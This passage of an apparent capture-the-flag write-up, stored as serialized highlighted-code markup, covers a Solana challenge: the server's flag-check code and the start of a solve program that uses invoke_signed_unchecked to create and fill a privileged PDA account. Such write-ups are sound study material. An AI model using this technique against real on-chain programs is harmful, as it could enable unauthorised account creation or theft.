user)?;\n",[48828],{"type":24,"tag":284,"props":48829,"children":48830},{"__ignoreMap":7},[48831,48864,48896,48903,48945,48977,48984,48992,49056,49075,49082],{"type":24,"tag":327,"props":48832,"children":48833},{"class":329,"line":330},[48834,48838,48843,48847,48852,48856,48860],{"type":24,"tag":327,"props":48835,"children":48836},{"style":334},[48837],{"type":29,"value":19334},{"type":24,"tag":327,"props":48839,"children":48840},{"style":356},[48841],{"type":29,"value":48842}," user_keypair",{"type":24,"tag":327,"props":48844,"children":48845},{"style":381},[48846],{"type":29,"value":4809},{"type":24,"tag":327,"props":48848,"children":48849},{"style":1639},[48850],{"type":29,"value":48851}," Keypair",{"type":24,"tag":327,"props":48853,"children":48854},{"style":381},[48855],{"type":29,"value":2407},{"type":24,"tag":327,"props":48857,"children":48858},{"style":340},[48859],{"type":29,"value":22646},{"type":24,"tag":327,"props":48861,"children":48862},{"style":346},[48863],{"type":29,"value":4838},{"type":24,"tag":327,"props":48865,"children":48866},{"class":329,"line":367},[48867,48871,48876,48880,48884,48888,48892],{"type":24,"tag":327,"props":48868,"children":48869},{"style":334},[48870],{"type":29,"value":19334},{"type":24,"tag":327,"props":48872,"children":48873},{"style":356},[48874],{"type":29,"value":48875}," user",{"type":24,"tag":327,"props":48877,"children":48878},{"style":381},[48879],{"type":29,"value":4809},{"type":24,"tag":327,"props":48881,"children":48882},{"style":356},[48883],{"type":29,"value":48842},{"type":24,"tag":327,"props":48885,"children":48886},{"style":381},[48887],{"type":29,"value":66},{"type":24,"tag":327,"props":48889,"children":48890},{"style":340},[48891],{"type":29,"value":11142},{"type":24,"tag":327,"props":48893,"children":48894},{"style":346},[48895],{"type":29,"value":4838},{"type":24,"tag":327,"props":48897,"children":48898},{"class":329,"line":408},[48899],{"type":24,"tag":327,"props":48900,"children":48901},{"emptyLinePlaceholder":16},[48902],{"type":29,"value":544},{"type":24,"tag":327,"props":48904,"children":48905},{"class":329,"line":421},[48906,48910,48915,48919,48923,48928,48932,48936,48940],{"type":24,"tag":327,"props":48907,"children":48908},{"style":334},[48909],{"type":29,"value":19334},{"type":24,"tag":327,"props":48911,"children":48912},{"style":356},[48913],{"type":29,"value":48914}," payer_keypair",{"type":24,"tag":327,"props":48916,"children":48917},{"style":381},[48918],{"type":29,"value":4809},{"type":24,"tag":327,"props":48920,"children":48921},{"style":381},[48922],{"type":29,"value":14704},{"type":24,"tag":327,"props":48924,"children":48925},{"style":356},[48926],{"type":29,"value":48927},"chall",{"type":24,"tag":327,"props":48929,"children":48930},{"style":381},[48931],{"type":29,"value":66},{"type":24,"tag":327,"props":48933,"children":48934},{"style":346},[48935],{"type":29,"value":1631},{"type":24,"tag":327,"props":48937,"children":48938},{"style":381},[48939],{"type":29,"value":66},{"type":24,"tag":327,"props":48941,"children":48942},{"style":346},[48943],{"type":29,"value":48944},"payer;\n",{"type":24,"tag":327,"props":48946,"children":48947},{"class":329,"line":450},[48948,48952,48957,48961,48965,48969,48973],{"type":24,"tag":327,"props":48949,"children":48950},{"style":334},[48951],{"type":29,"value":19334},{"type":24,"tag":327,"props":48953,"children":48954},{"style":356},[48955],{"type":29,"value":48956}," payer",{"type":24,"tag":327,"props":48958,"children":48959},{"style":381},[48960],{"type":29,"value":4809},{"type":24,"tag":327,"props":48962,"children":48963},{"style":356},[48964],{"type":29,"value":48914},{"type":24,"tag":327,"props":48966,"children":48967},{"style":381},[48968],{"type":29,"value":66},{"type":24,"tag":327,"props":48970,"children":48971},{"style":340},[48972],{"type":29,"value":11142},{"type":24,"tag":327,"props":48974,"children":48975},{"style":346},[48976],{"type":29,"value":4838},{"type":24,"tag":327,"props":48978,"children":48979},{"class":329,"line":481},[48980],{"type":24,"tag":327,"props":48981,"children":48982},{"emptyLinePlaceholder":16},[48983],{"type":29,"value":544},{"type":24,"tag":327,"props":48985,"children":48986},{"class":329,"line":500},[48987],{"type":24,"tag":327,"props":48988,"children":48989},{"style":356},[48990],{"type":29,"value":48991},"chall\n",{"type":24,"tag":327,"props":48993,"children":48994},{"class":329,"line":529},[48995,49000,49005,49010,49014,49018,49022,49026,49031,49035,49039,49043,49047,49052],{"type":24,"tag":327,"props":48996,"children":48997},{"style":381},[48998],{"type":29,"value":48999},"    .",{"type":24,"tag":327,"props":49001,"children":49002},{"style":340},[49003],{"type":29,"value":49004},"run_ix",{"type":24,"tag":327,"props":49006,"children":49007},{"style":346},[49008],{"type":29,"value":49009},"(system_instruction",{"type":24,"tag":327,"props":49011,"children":49012},{"style":381},[49013],{"type":29,"value":2407},{"type":24,"tag":327,"props":49015,"children":49016},{"style":340},[49017],{"type":29,"value":38833},{"type":24,"tag":327,"props":49019,"children":49020},{"style":346},[49021],{"type":29,"value":349},{"type":24,"tag":327,"props":49023,"children":49024},{"style":381},[49025],{"type":29,"value":8716},{"type":24,"tag":327,"props":49027,"children":49028},{"style":356},[49029],{"type":29,"value":49030},"payer",{"type":24,"tag":327,"props":49032,"children":49033},{"style":346},[49034],{"type":29,"value":2744},{"type":24,"tag":327,"props":49036,"children":49037},{"style":381},[49038],{"type":29,"value":8716},{"type":24,"tag":327,"props":49040,"children":49041},{"style":356},[49042],{"type":29,"value":1582},{"type":24,"tag":327,"props":49044,"children":49045},{"style":346},[49046],{"type":29,"value":2744},{"type":24,"tag":327,"props":49048,"children":49049},{"style":397},[49050],{"type":29,"value":49051},"100_000_000_000",{"type":24,"tag":327,"props":49053,"children":49054},{"style":346},[49055],{"type":29,"value":1045},{"type":24,"tag":327,"props":49057,"children":49058},{"class":329,"line":538},[49059,49063,49067,49071],{"type":24,"tag":327,"props":49060,"children":49061},{"style":381},[49062],{"type":29,"value":48999},{"type":24,"tag":327,"props":49064,"children":49065},{"style":425},[49066],{"type":29,"value":39627},{"type":24,"tag":327,"props":49068,"children":49069},{"style":381},[49070],{"type":29,"value":7437},{"type":24,"tag":327,"props":49072,"children":49073},{"style":346},[49074],{"type":29,"value":405},{"type":24,"tag":327,"props":49076,"children":49077},{"class":329,"line":547},[49078],{"type":24,"tag":327,"props":49079,"children":49080},{"emptyLinePlaceholder":16},[49081],{"type":29,"value":544},{"type":24,"tag":327,"props":49083,"children":49084},{"class":329,"line":557},[49085,49090,49094,49098,49102,49107,49111,49115,49119,49123],{"type":24,"tag":327,"props":49086,"children":49087},{"style":340},[49088],{"type":29,"value":49089},"writeln!",{"type":24,"tag":327,"props":49091,"children":49092},{"style":346},[49093],{"type":29,"value":349},{"type":24,"tag":327,"props":49095,"children":49096},{"style":356},[49097],{"type":29,"value":48653},{"type":24,"tag":327,"props":49099,"children":49100},{"style":346},[49101],{"type":29,"value":2744},{"type":24,"tag":327,"props":49103,"children":49104},{"style":844},[49105],{"type":29,"value":49106},"\"user: {}\"",{"type":24,"tag":327,"props":49108,"children":49109},{"style":346},[49110],{"type":29,"value":2744},{"type":24,"tag":327,"props":49112,"children":49113},{"style":356},[49114],{"type":29,"value":1582},{"type":24,"tag":327,"props":49116,"children":49117},{"style":346},[49118],{"type":29,"value":3146},{"type":24,"tag":327,"props":49120,"children":49121},{"style":381},[49122],{"type":29,"value":7437},{"type":24,"tag":327,"props":49124,"children":49125},{"style":346},[49126],{"type":29,"value":405},{"type":24,"tag":175,"props":49128,"children":49129},{"start":408},[49130],{"type":24,"tag":179,"props":49131,"children":49132},{},[49133],{"type":29,"value":49134},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":317,"props":49136,"children":49138},{"className":1553,"code":49137,"language":1552,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[49139],{"type":24,"tag":284,"props":49140,"children":49141},{"__ignoreMap":7},[49142,49192],{"type":24,"tag":327,"props":49143,"children":49144},{"class":329,"line":330},[49145,49149,49154,49158,49162,49166,49171,49175,49179,49184,49188],{"type":24,"tag":327,"props":49146,"children":49147},{"style":334},[49148],{"type":29,"value":19334},{"type":24,"tag":327,"props":49150,"children":49151},{"style":356},[49152],{"type":29,"value":49153}," solve_ix",{"type":24,"tag":327,"props":49155,"children":49156},{"style":381},[49157],{"type":29,"value":4809},{"type":24,"tag":327,"props":49159,"children":49160},{"style":356},[49161],{"type":29,"value":48758},{"type":24,"tag":327,"props":49163,"children":49164},{"style":381},[49165],{"type":29,"value":66},{"type":24,"tag":327,"props":49167,"children":49168},{"style":340},[49169],{"type":29,"value":49170},"read_instruction",{"type":24,"tag":327,"props":49172,"children":49173},{"style":346},[49174],{"type":29,"value":48740},{"type":24,"tag":327,"props":49176,"children":49177},{"style":381},[49178],{"type":29,"value":2407},{"type":24,"tag":327,"props":49180,"children":49181},{"style":346},[49182],{"type":29,"value":49183},"ID)",{"type":24,"tag":327,"props":49185,"children":49186},{"style":381},[49187],{"type":29,"value":7437},{"type":24,"tag":327,"props":49189,"children":49190},{"style":346},[49191],{"type":29,"value":405},{"type":24,"tag":327,"props":49193,"children":49194},{"class":329,"line":367},[49195,49199,49203,49208,49212,49216,49220,49225,49229,49233,49237,49241,49246,49250,49254,49258,49262,49266,49270,49274],{"type":24,"tag":327,"props":49196,"children":49197},{"style":356},[49198],{"type":29,"value":48927},{"type":24,"tag":327,"props":49200,"children":49201},{"style":381},[49202],{"type":29,"value":66},{"type":24,"tag":327,"props":49204,"children":49205},{"style":340},[49206],{"type":29,"value":49207},"run_ixs_full",{"type":24,"tag":327,"props":49209,"children":49210},{"style":346},[49211],{"type":29,"value":349},{"type":24,"tag":327,"props":49213,"children":49214},{"style":381},[49215],{"type":29,"value":8716},{"type":24,"tag":327,"props":49217,"children":49218},{"style":346},[49219],{"type":29,"value":11329},{"type":24,"tag":327,"props":49221,"children":49222},{"style":356},[49223],{"type":29,"value":49224},"solve_ix",{"type":24,"tag":327,"props":49226,"children":49227},{"style":346},[49228],{"type":29,"value":4474},{"type":24,"tag":327,"props":49230,"children":49231},{"style":381},[49232],{"type":29,"value":8716},{"type":24,"tag":327,"props":49234,"children":49235},{"style":346},[49236],{"type":29,"value":11329},{"type":24,"tag":327,"props":49238,"children":49239},{"style":381},[49240],{"type":29,"value":8716},{"type":24,"tag":327,"props":49242,"children":49243},{"style":356},[49244],{"type":29,"value":49245},"user_keypair",{"type":24,"tag":327,"props":49247,"children":49248},{"style":346},[49249],{"type":29,"value":4474},{"type":24,"tag":327,"props":49251,"children":49252},{"style":381},[49253],{"type":29,"value":8716},{"type":24,"tag":327,"props":49255,"children":49256},{"style":356},[49257],{"type":29,"value":1582},{"type":24,"tag":327,"props":49259,"children":49260},{"style":346},[49261],{"type":29,"value":3146},{"type":24,"tag":327,"props":49263,"children":49264},{"style":381},[49265],{"type":29,"value":66},{"type":24,"tag":327,"props":49267,"children":49268},{"style":425},[49269],{"type":29,"value":39627},{"type":24,"tag":327,"props":49271,"children":49272},{"style":381},[49273],{"type":29,"value":7437},{"type":24,"tag":327,"props":49275,"children":49276},{"style":346},[49277],{"type":29,"value":405},{"type":24,"tag":175,"props":49279,"children":49280},{"start":421},[49281],{"type":24,"tag":179,"props":49282,"children":49283},{},[49284],{"type":29,"value":49285},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":317,"props":49287,"children":49289},{"className":1553,"code":49288,"language":1552,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[49290],{"type":24,"tag":284,"props":49291,"children":49292},{"__ignoreMap":7},[49293,49377,49468,49509,49593,49600,49637,49694,49739,49754,49790,49797,49804],{"type":24,"tag":327,"props":49294,"children":49295},{"class":329,"line":330},[49296,49300,49305,49309,49313,49317,49322,49326,49330,49334,49339,49343,49348,49353,49357,49361,49365,49369,49373],{"type":24,"tag":327,"props":49297,"children":49298},{"style":334},[49299],{"type":29,"value":19334},{"type":24,"tag":327,"props":49301,"children":49302},{"style":356},[49303],{"type":29,"value":49304}," flag",{"type":24,"tag":327,"props":49306,"children":49307},{"style":381},[49308],{"type":29,"value":4809},{"type":24,"tag":327,"props":49310,"children":49311},{"style":1639},[49312],{"type":29,"value":2226},{"type":24,"tag":327,"props":49314,"children":49315},{"style":381},[49316],{"type":29,"value":2407},{"type":24,"tag":327,"props":49318,"children":49319},{"style":340},[49320],{"type":29,"value":49321},"create_program_address",{"type":24,"tag":327,"props":49323,"children":49324},{"style":346},[49325],{"type":29,"value":349},{"type":24,"tag":327,"props":49327,"children":49328},{"style":381},[49329],{"type":29,"value":8716},{"type":24,"tag":327,"props":49331,"children":49332},{"style":346},[49333],{"type":29,"value":11329},{"type":24,"tag":327,"props":49335,"children":49336},{"style":844},[49337],{"type":29,"value":49338},"\"FLAG\"",{"type":24,"tag":327,"props":49340,"children":49341},{"style":381},[49342],{"type":29,"value":66},{"type":24,"tag":327,"props":49344,"children":49345},{"style":340},[49346],{"type":29,"value":49347},"as_ref",{"type":24,"tag":327,"props":49349,"children":49350},{"style":346},[49351],{"type":29,"value":49352},"()], ",{"type":24,"tag":327,"props":49354,"children":49355},{"style":381},[49356],{"type":29,"value":8716},{"type":24,"tag":327,"props":49358,"children":49359},{"style":346},[49360],{"type":29,"value":48927},{"type":24,"tag":327,"props":49362,"children":49363},{"style":381},[49364],{"type":29,"value":2407},{"type":24,"tag":327,"props":49366,"children":49367},{"style":346},[49368],{"type":29,"value":49183},{"type":24,"tag":327,"props":49370,"children":49371},{"style":381},[49372],{"type":29,"value":7437},{"type":24,"tag":327,"props":49374,"children":49375},{"style":346},[49376],{"type":29,"value":405},{"type":24,"tag":327,"props":49378,"children":49379},{"class":329,"line":367},[49380,49384,49388,49392,49396,49401,49405,49409,49413,49417,49421,49425,49430,49434,49439,49443,49448,49452,49456,49460,49464],{"type":24,"tag":327,"props":49381,"children":49382},{"style":425},[49383],{"type":29,"value":5999},{"type":24,"tag":327,"props":49385,"children":49386},{"style":334},[49387],{"type":29,"value":8769},{"type":24,"tag":327,"props":49389,"children":49390},{"style":1639},[49391],{"type":29,"value":8774},{"type":24,"tag":327,"props":49393,"children":49394},{"style":346},[49395],{"type":29,"value":349},{"type":24,"tag":327,"props":49397,"children":49398},{"style":356},[49399],{"type":29,"value":49400},"acct",{"type":24,"tag":327,"props":49402,"children":49403},{"style":346},[49404],{"type":29,"value":1674},{"type":24,"tag":327,"props":49406,"children":49407},{"style":381},[49408],{"type":29,"value":384},{"type":24,"tag":327,"props":49410,"children":49411},{"style":356},[49412],{"type":29,"value":48758},{"type":24,"tag":327,"props":49414,"children":49415},{"style":381},[49416],{"type":29,"value":66},{"type":24,"tag":327,"props":49418,"children":49419},{"style":346},[49420],{"type":29,"value":1631},{"type":24,"tag":327,"props":49422,"children":49423},{"style":381},[49424],{"type":29,"value":66},{"type":24,"tag":327,"props":49426,"children":49427},{"style":346},[49428],{"type":29,"value":49429},"banks_client",{"type":24,"tag":327,"props":49431,"children":49432},{"style":381},[49433],{"type":29,"value":66},{"type":24,"tag":327,"props":49435,"children":49436},{"style":340},[49437],{"type":29,"value":49438},"get_account",{"type":24,"tag":327,"props":49440,"children":49441},{"style":346},[49442],{"type":29,"value":349},{"type":24,"tag":327,"props":49444,"children":49445},{"style":356},[49446],{"type":29,"value":49447},"flag",{"type":24,"tag":327,"props":49449,"children":49450},{"style":346},[49451],{"type":29,"value":3146},{"type":24,"tag":327,"props":49453,"children":49454},{"style":381},[49455],{"type":29,"value":66},{"type":24,"tag":327,"props":49457,"children":49458},{"style":425},[49459],{"type":29,"value":39627},{"type":24,"tag":327,"props":49461,"children":49462},{"style":381},[49463],{"type":29,"value":7437},{"type":24,"tag":327,"props":49465,"children":49466},{"style":346},[49467],{"type":29,"value":497},{"type":24,"tag":327,"props":49469,"children":49470},{"class":329,"line":408},[49471,49475,49480,49484,49488,49492,49496,49500,49504],{"type":24,"tag":327,"props":49472,"children":49473},{"style":425},[49474],{"type":29,"value":428},{"type":24,"tag":327,"props":49476,"children":49477},{"style":356},[49478],{"type":29,"value":49479}," acct",{"type":24,"tag":327,"props":49481,"children":49482},{"style":381},[49483],{"type":29,"value":66},{"type":24,"tag":327,"props":49485,"children":49486},{"style":346},[49487],{"type":29,"value":11298},{"type":24,"tag":327,"props":49489,"children":49490},{"style":381},[49491],{"type":29,"value":66},{"type":24,"tag":327,"props":49493,"children":49494},{"style":340},[49495],{"type":29,"value":4906},{"type":24,"tag":327,"props":49497,"children":49498},{"style":346},[49499],{"type":29,"value":7338},{"type":24,"tag":327,"props":49501,"children":49502},{"style":381},[49503],{"type":29,"value":642},{"type":24,"tag":327,"props":49505,"children":49506},{"style":397},[49507],{"type":29,"value":49508}," 0x1337\n",{"type":24,"tag":327,"props":49510,"children":49511},{"class":329,"line":421},[49512,49517,49521,49525,49530,49534,49538,49542,49547,49551,49555,49559,49563,49567,49571,49575,49579,49584,49588],{"type":24,"tag":327,"props":49513,"children":49514},{"style":381},[49515],{"type":29,"value":49516},"        &&",{"type":24,"tag":327,"props":49518,"children":49519},{"style":1639},[49520],{"type":29,"value":1669},{"type":24,"tag":327,"props":49522,"children":49523},{"style":381},[49524],{"type":29,"value":2407},{"type":24,"tag":327,"props":49526,"children":49527},{"style":340},[49528],{"type":29,"value":49529},"from_le_bytes",{"type":24,"tag":327,"props":49531,"children":49532},{"style":346},[49533],{"type":29,"value":349},{"type":24,"tag":327,"props":49535,"children":49536},{"style":356},[49537],{"type":29,"value":49400},{"type":24,"tag":327,"props":49539,"children":49540},{"style":381},[49541],{"type":29,"value":66},{"type":24,"tag":327,"props":49543,"children":49544},{"style":346},[49545],{"type":29,"value":49546},"data[",{"type":24,"tag":327,"props":49548,"children":49549},{"style":381},[49550],{"type":29,"value":10662},{"type":24,"tag":327,"props":49552,"children":49553},{"style":397},[49554],{"type":29,"value":11653},{"type":24,"tag":327,"props":49556,"children":49557},{"style":346},[49558],{"type":29,"value":22934},{"type":24,"tag":327,"props":49560,"children":49561},{"style":381},[49562],{"type":29,"value":66},{"type":24,"tag":327,"props":49564,"children":49565},{"style":340},[49566],{"type":29,"value":7625},{"type":24,"tag":327,"props":49568,"children":49569},{"style":346},[49570],{"type":29,"value":7616},{"type":24,"tag":327,"props":49572,"children":49573},{"style":381},[49574],{"type":29,"value":66},{"type":24,"tag":327,"props":49576,"children":49577},{"style":340},[49578],{"type":29,"value":5352},{"type":24,"tag":327,"props":49580,"children":49581},{"style":346},[49582],{"type":29,"value":49583},"()) ",{"type":24,"tag":327,"props":49585,"children":49586},{"style":381},[49587],{"type":29,"value":642},{"type":24,"tag":327,"props":49589,"children":49590},{"style":397},[49591],{"type":29,"value":49592}," 0x4337\n",{"type":24,"tag":327,"props":49594,"children":49595},{"class":329,"line":450},[49596],{"type":24,"tag":327,"props":49597,"children":49598},{"style":346},[49599],{"type":29,"value":35895},{"type":24,"tag":327,"props":49601,"children":49602},{"class":329,"line":481},[49603,49608,49612,49616,49620,49625,49629,49633],{"type":24,"tag":327,"props":49604,"children":49605},{"style":340},[49606],{"type":29,"value":49607},"        writeln!",{"type":24,"tag":327,"props":49609,"children":49610},{"style":346},[49611],{"type":29,"value":349},{"type":24,"tag":327,"props":49613,"children":49614},{"style":356},[49615],{"type":29,"value":48653},{"type":24,"tag":327,"props":49617,"children":49618},{"style":346},[49619],{"type":29,"value":2744},{"type":24,"tag":327,"props":49621,"children":49622},{"style":844},[49623],{"type":29,"value":49624},"\"congrats!\"",{"type":24,"tag":327,"props":49626,"children":49627},{"style":346},[49628],{"type":29,"value":3146},{"type":24,"tag":327,"props":49630,"children":49631},{"style":381},[49632],{"type":29,"value":7437},{"type":24,"tag":327,"props":49634,"children":49635},{"style":346},[49636],{"type":29,"value":405},{"type":24,"tag":327,"props":49638,"children":49639},{"class":329,"line":500},[49640,49644,49648,49653,49657,49661,49665,49669,49674,49678,49682,49686,49690],{"type":24,"tag":327,"props":49641,"children":49642},{"style":425},[49643],{"type":29,"value":8861},{"type":24,"tag":327,"props":49645,"children":49646},{"style":334},[49647],{"type":29,"value":8769},{"type":24,"tag":327,"props":49649,"children":49650},{"style":1639},[49651],{"type":29,"value":49652}," Ok",{"type":24,"tag":327,"props":49654,"children":49655},{"style":346},[49656],{"type":29,"value":349},{"type":24,"tag":327,"props":49658,"children":49659},{"style":356},[49660],{"type":29,"value":49447},{"type":24,"tag":327,"props":49662,"children":49663},{"style":346},[49664],{"type":29,"value":1674},{"type":24,"tag":327,"props":49666,"children":49667},{"style":381},[49668],{"type":29,"value":384},{"type":24,"tag":327,"props":49670,"children":49671},{"style":346},[49672],{"type":29,"value":49673}," env",{"type":24,"tag":327,"props":49675,"children":49676},{"style":381},[49677],{"type":29,"value":2407},{"type":24,"tag":327,"props":49679,"children":49680},{"style":340},[49681],{"type":29,"value":41759},{"type":24,"tag":327,"props":49683,"children":49684},{"style":346},[49685],{"type":29,"value":349},{"type":24,"tag":327,"props":49687,"children":49688},{"style":844},[49689],{"type":29,"value":49338},{"type":24,"tag":327,"props":49691,"children":49692},{"style":346},[49693],{"type":29,"value":364},{"type":24,"tag":327,"props":49695,"children":49696},{"class":329,"line":529},[49697,49702,49706,49710,49714,49719,49723,49727,49731,49735],{"type":24,"tag":327,"props":49698,"children":49699},{"style":340},[49700],{"type":29,"value":49701},"            writeln!",{"type":24,"tag":327,"props":49703,"children":49704},{"style":346},[49705],{"type":29,"value":349},{"type":24,"tag":327,"props":49707,"children":49708},{"style":356},[49709],{"type":29,"value":48653},{"type":24,"tag":327,"props":49711,"children":49712},{"style":346},[49713],{"type":29,"value":2744},{"type":24,"tag":327,"props":49715,"children":49716},{"style":844},[49717],{"type":29,"value":49718},"\"flag: {:?}\"",{"type":24,"tag":327,"props":49720,"children":49721},{"style":346},[49722],{"type":29,"value":2744},{"type":24,"tag":327,"props":49724,"children":49725},{"style":356},[49726],{"type":29,"value":49447},{"type":24,"tag":327,"props":49728,"children":49729},{"style":346},[49730],{"type":29,"value":3146},{"type":24,"tag":327,"props":49732,"children":49733},{"style":381},[49734],{"type":29,"value":7437},{"type":24,"tag":327,"props":49736,"children":49737},{"style":346},[49738],{"type":29,"value":405},{"type":24,"tag":327,"props":49740,"children":49741},{"class":329,"line":538},[49742,49746,49750],{"type":24,"tag":327,"props":49743,"children":49744},{"style":346},[49745],{"type":29,"value":10914},{"type":24,"tag":327,"props":49747,"children":49748},{"style":425},[49749],{"type":29,"value":492},{"type":24,"tag":327,"props":49751,"children":49752},{"style":346},[49753],{"type":29,"value":497},{"type":24,"tag":327,"props":49755,"children":49756},{"class":329,"line":547},[49757,49761,49765,49769,49773,49778,49782,49786],{"type":24,"tag":327,"props":49758,"children":49759},{"style":340},[49760],{"type":29,"value":49701},{"type":24,"tag":327,"props":49762,"children":49763},{"style":346},[49764],{"type":29,"value":349},{"type":24,"tag":327,"props":49766,"children":49767},{"style":356},[49768],{"type":29,"value":48653},{"type":24,"tag":327,"props":49770,"children":49771},{"style":346},[49772],{"type":29,"value":2744},{"type":24,"tag":327,"props":49774,"children":49775},{"style":844},[49776],{"type":29,"value":49777},"\"flag not found, please contact admin\"",{"type":24,"tag":327,"props":49779,"children":49780},{"style":346},[49781],{"type":29,"value":3146},{"type":24,"tag":327,"props":49783,"children":49784},{"style":381},[49785],{"type":29,"value":7437},{"type":24,"tag":327,"props":49787,"children":49788},{"style":346},[49789],{"type":29,"value":405},{"type":24,"tag":327,"props":49791,"children":49792},{"class":329,"line":557},[49793],{"type":24,"tag":327,"props":49794,"children":49795},{"style":346},[49796],{"type":29,"value":8989},{"type":24,"tag":327,"props":49798,"children":49799},{"class":329,"line":586},[49800],{"type":24,"tag":327,"props":49801,"children":49802},{"style":346},[49803],{"type":29,"value":535},{"type":24,"tag":327,"props":49805,"children":49806},{"class":329,"line":1017},[49807],{"type":24,"tag":327,"props":49808,"children":49809},{"style":346},[49810],{"type":29,"value":592},{"type":24,"tag":228,"props":49812,"children":49814},{"id":49813},"solution-idea",[49815],{"type":29,"value":49816},"Solution Idea",{"type":24,"tag":25,"props":49818,"children":49819},{},[49820,49822,49827],{"type":29,"value":49821},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":284,"props":49823,"children":49825},{"className":49824},[],[49826],{"type":29,"value":42394},{"type":29,"value":49828}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":49830,"children":49831},{},[49832,49834,49840],{"type":29,"value":49833},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":284,"props":49835,"children":49837},{"className":49836},[],[49838],{"type":29,"value":49839},"PDA(\"FLAG\")",{"type":29,"value":49841}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":49843,"children":49844},{},[49845,49847,49854],{"type":29,"value":49846},"Essentially, we need to ",{"type":24,"tag":57,"props":49848,"children":49851},{"href":49849,"rel":49850},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[61],[49852],{"type":29,"value":49853},"invoke the System Program",{"type":29,"value":49855},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":49857,"children":49858},{},[49859],{"type":29,"value":49860},"A sample program that does this is as follows:",{"type":24,"tag":317,"props":49862,"children":49864},{"className":1553,"code":49863,"language":1552,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[49865],{"type":24,"tag":284,"props":49866,"children":49867},{"__ignoreMap":7},[49868,49888,49912,49940,49968,49988,50024,50060,50067,50075,50108,50125,50150,50171,50223,50248,50255,50268,50314,50358,50366,50374,50385,50401,50412,50432,50452,50459,50495,50510,50517,50525,50604,50611,50622],{"type":24,"tag":327,"props":49869,"children":49870},{"class":329,"line":330},[49871,49875,49879,49884],{"type":24,"tag":327,"props":49872,"children":49873},{"style":334},[49874],{"type":29,"value":2524},{"type":24,"tag":327,"props":49876,"children":49877},{"style":334},[49878],{"type":29,"value":4653},{"type":24,"tag":327,"props":49880,"children":49881},{"style":340},[49882],{"type":29,"value":49883}," process_instruction",{"type":24,"tag":327,"props":49885,"children":49886},{"style":346},[49887],{"type":29,"value":4663},{"type":24,"tag":327,"props":49889,"children":49890},{"class":329,"line":367},[49891,49896,49900,49904,49908],{"type":24,"tag":327,"props":49892,"children":49893},{"style":356},[49894],{"type":29,"value":49895},"    program_id",{"type":24,"tag":327,"props":49897,"children":49898},{"style":381},[49899],{"type":29,"value":1636},{"type":24,"tag":327,"props":49901,"children":49902},{"style":381},[49903],{"type":29,"value":14704},{"type":24,"tag":327,"props":49905,"children":49906},{"style":1639},[49907],{"type":29,"value":2779},{"type":24,"tag":327,"props":49909,"children":49910},{"style":346},[49911],{"type":29,"value":2231},{"type":24,"tag":327,"props":49913,"children":49914},{"class":329,"line":408},[49915,49920,49924,49928,49932,49936],{"type":24,"tag":327,"props":49916,"children":49917},{"style":356},[49918],{"type":29,"value":49919},"    accounts",{"type":24,"tag":327,"props":49921,"children":49922},{"style":381},[49923],{"type":29,"value":1636},{"type":24,"tag":327,"props":49925,"children":49926},{"style":381},[49927],{"type":29,"value":14704},{"type":24,"tag":327,"props":49929,"children":49930},{"style":346},[49931],{"type":29,"value":11329},{"type":24,"tag":327,"props":49933,"children":49934},{"style":1639},[49935],{"type":29,"value":22462},{"type":24,"tag":327,"props":49937,"children":49938},{"style":346},[49939],{"type":29,"value":21794},{"type":24,"tag":327,"props":49941,"children":49942},{"class":329,"line":421},[49943,49948,49952,49956,49960,49964],{"type":24,"tag":327,"props":49944,"children":49945},{"style":356},[49946],{"type":29,"value":49947},"    